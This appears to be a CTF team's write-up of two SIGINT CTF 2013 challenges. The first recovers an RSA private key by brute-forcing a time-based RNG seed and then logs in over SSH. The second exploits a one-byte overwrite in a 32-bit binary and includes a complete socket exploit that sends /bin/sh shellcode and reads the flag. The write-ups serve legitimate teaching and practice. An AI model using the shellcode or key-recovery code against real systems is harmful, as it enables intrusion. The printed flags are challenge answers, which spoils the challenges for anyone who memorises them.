SIGINT CTF - crypto 200 - RSA - [Team xbios]

We were given two files for this challenge - python script used to generate RSA keypair and authorized_keys. Authorized_keys is the public key which has the n and e value. Below is the code

#!/usr/bin/env python

from time import time
from os import system
from Crypto.PublicKey import RSA

SEED = int(time())

def randfunc(n):
    def rand():
        global SEED
        ret = SEED*0x1333370023004200babe004141414100e9a1192355de965ab8cc1239cf015a4e35 + 1
        SEED = ret
        return (ret >> 0x10) & 0x7fff
    ret = ""
    while len(ret) < n:
        ret += chr(rand() & 0xff)
    return ret

keypair = RSA.generate(1024, randfunc)

with open("pub", "w") as pubfile, open("id_rsa", "w") as privfile:
    privfile.write(keypair.exportKey())
    pubfile.write(keypair.publickey().exportKey())

system("ssh-keygen -m PKCS8 -i -f pub > id_rsa.pub && rm pub")

Looking at the code we can see that, current time is used as SEED value during key generation. To solve the challenge

[*] Find the SEED value used in key generation
[*] Generate the private key pair for the given public key
[*] Copy the generated private key to ~/.ssh/id_rsa. Now we can prove our identity to the remote machine and perform a login

Bruteforcing the SEED value was a bit of pain. After some failures, finally we decided to bruteforce the SEED value by going behind the start of CTF time ie

SEED = 1373040000
GMT: Fri, 05 Jul 2013 16:00:00 GMT

The n value was extracted from authorized key as

 
0xbe2bac35ca87627aacabc899d4607c3f66ec9c69b4f4121c20e1716a6587e1fdeb84e102173c9db7c22757254288abc1aac22e4cfcf6beeff8003de55cadc17ae6952478861e6415e801e0e3d04aa917188775207f2b53afb7f948166046de1cbe31524b61fcfa9414714308fe089464157d977ffe49c995922b95305ce961d3

Below is the script we used for bruteforce

#!/usr/bin/env python

from Crypto.PublicKey import RSA
from sys import exit

target = 0xbe2bac35ca87627aacabc899d4607c3f66ec9c69b4f4121c20e1716a6587e1fdeb84e102173c9db7c22757254288abc1aac22e4cfcf6beeff8003de55cadc17ae6952478861e6415e801e0e3d04aa917188775207f2b53afb7f948166046de1cbe31524b61fcfa9414714308fe089464157d977ffe49c995922b95305ce961d3

SEED = 1373040000
counter = 0

def randfunc(n):
    global SEED_Brute
    ret = ""

    while len(ret) < n:
        tmp = SEED_Brute*0x1333370023004200babe004141414100e9a1192355de965ab8cc1239cf015a4e35+1
        SEED_Brute = tmp
        tmp = (tmp >> 0x10) & 0x7fff
        ret += chr(tmp & 0xff)
    return ret

while 1:
    SEED_Brute = SEED - counter
    keypair = RSA.generate(1024, randfunc)
    if keypair.n == target:
        print keypair.p
        print keypair.q
        print (SEED - counter)
        exit(0)
    counter += 1

After sometime we got the following values:

p = 10196183246368760603869192593971202143897281417220455881063414616103901438182656326076501376638806928762094749150020638960102206987607293047096627515275223
q = 13097286606179453667665592444299109782484218865253457545521978739889248320232481682880143106432871469494586765663594908396375009598486558938138835723794021
SEED = 1373038672

Now generate the private key and place it in ~/.ssh/id_rsa and connect to the challenge machine

challenge@ubuntu:~$ ls
flag.txt
challenge@ubuntu:~$ cat flag.txt 
SIGINT_some_people_pay_100_euro_for_this

Flag for the challenge is SIGINT_some_people_pay_100_euro_for_this

Update:

Well, I tried out the optimization as mentioned in the comment section. Thought of making a small note on it.

[*] rand() function is linear congruential generator of form (((SEED * 0x1333370023004200babe004141414100e9a1192355de965ab8cc1239cf015a4e35) + 1 ) >> 16 ) mod 2^15
[*] After computing ((SEED * 0x1333370023004200babe004141414100e9a1192355de965ab8cc1239cf015a4e35) + 1 ), the output is shifted by 16 bits then mod 2^15 is done. So its enough to consider only 32 bits from left, since bits 31 to 16 is brought to bit position 15 to 0
[*] Multiplication is nothing but repeated addition. Even if you add 0x1333370023004200babe004141414100e9a1192355de965ab8cc1239cf015a4e35 'n' number of times, only final 32 bits matter to us. So we can do

>>> hex(0x1333370023004200babe004141414100e9a1192355de965ab8cc1239cf015a4e35 & 0xffffffff)
'0x15a4e35L'
Thats exactly 25 bits

[*] If SEED is greater than 2**32, the value of multiplication is going to cycle back. So its enough to consider only the 4 bytes of SEED

>>> hex(0x15a4e35 * 1)
'0x15a4e35'
>>> hex(0x15a4e35 * 2)
'0x2b49c6a'
>>> hex(0x15a4e35 * (2**32+1))
'0x15a4e35015a4e35'
>>> hex(0x15a4e35 * (2**32+2))
'0x15a4e3502b49c6a'
>>> hex(0x15a4e35 * (2**32+1) & 0xffffffff)
'0x15a4e35'
>>> hex(0x15a4e35 * (2**32+2) & 0xffffffff)
'0x2b49c6a'

[*] Thus we can reduce the multiplier to 0x15a4e35 and SEED to 4 bytes in LCG. Since only 8 bits of LCG is used, further optimization can be achieved by using only 3 bytes of multiplier and SEED

SIGINT CTF - pwning 100 - baremetal - [Team xbios]

We have a 32 bit ELF executable, with RWX permission in stack and 0x08049000-0x0804a000 memory. 61 bytes of user input is taken using read() function. Then the binary performs couple of checks

[*] User input should be greater than 32 bytes
[*] The sum total of value of each byte, should be 0x1ee7. This is done by looping through user input till a NUL byte is hit

[ctf@renorobert SIGINT]$ objdump -d -M intel ./baremetal | grep cmp
 80480cb: 83 f8 20              cmp    eax,0x20
 80480df: 81 fb e7 1e 00 00     cmp    ebx,0x1ee7

Once these checks are passed, we could see

0x80480e7: lea ecx, ptr [0x8049204]
0x80480ed: movzx ebx, byte ptr [ecx]
0x80480f0: test ebx, ebx
0x80480f2: jz 0x80480fb
0x80480f4: call 0x804813b
0x804813b: pop edi
0x804813c: jmp edi
0x80480f9: jmp ecx

ECX points to 0x8049204, which has the bytes 0xe7ff4747. This is nothing but

00000000  47                inc edi
00000001  47                inc edi
00000002  FFE7              jmp edi

With 61 bytes as input we can overwrite one byte of the above sequence. So we have to figure out a way to redirect execution to the user buffer using this one byte overwrite. At this point register EAX points to 0x80491c8, which is start of the read() buffer.

We wrote a python script to generate all possible instructions for bytes 0 to 255 using ndisasm. Byte 0x97 gave the instruction necessary to redirect execution to user buffer

00000000  97                xchg eax,edi
00000001  47                inc edi
00000002  FFE7              jmp edi

Using this sequence we can jump to the address 0x80491c9. Our payload should satisfy the cmp ebx,0x1ee7 check. Here is the final exploit

#!/usr/bin/env python

from struct import pack
import socket

ip = '188.40.147.100'
port = 1024

# http://shell-storm.org/shellcode/files/shellcode-752.php
shellcode = ("\x31\xc9\xf7\xe1\x51\x68\x2f\x2f" +
             "\x73\x68\x68\x2f\x62\x69\x6e\x89" +
             "\xe3\xb0\x0b\xcd\x80")

overwrite = pack("B", 0x97)
# xchg eax,edi
# inc edi
# jmp edi

padding = pack("B", 0x90) * 37 + pack("B", 0x00)
payload = pack("B", 0x0f) + shellcode + padding + overwrite # 1st byte is skipped due to inc edi

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

soc.send(payload + "cat /home/challenge/flag\n")
print soc.recv(1024)
print soc.recv(1024)

Running this we got the flag SIGINT_are_you_getting_warmed_up?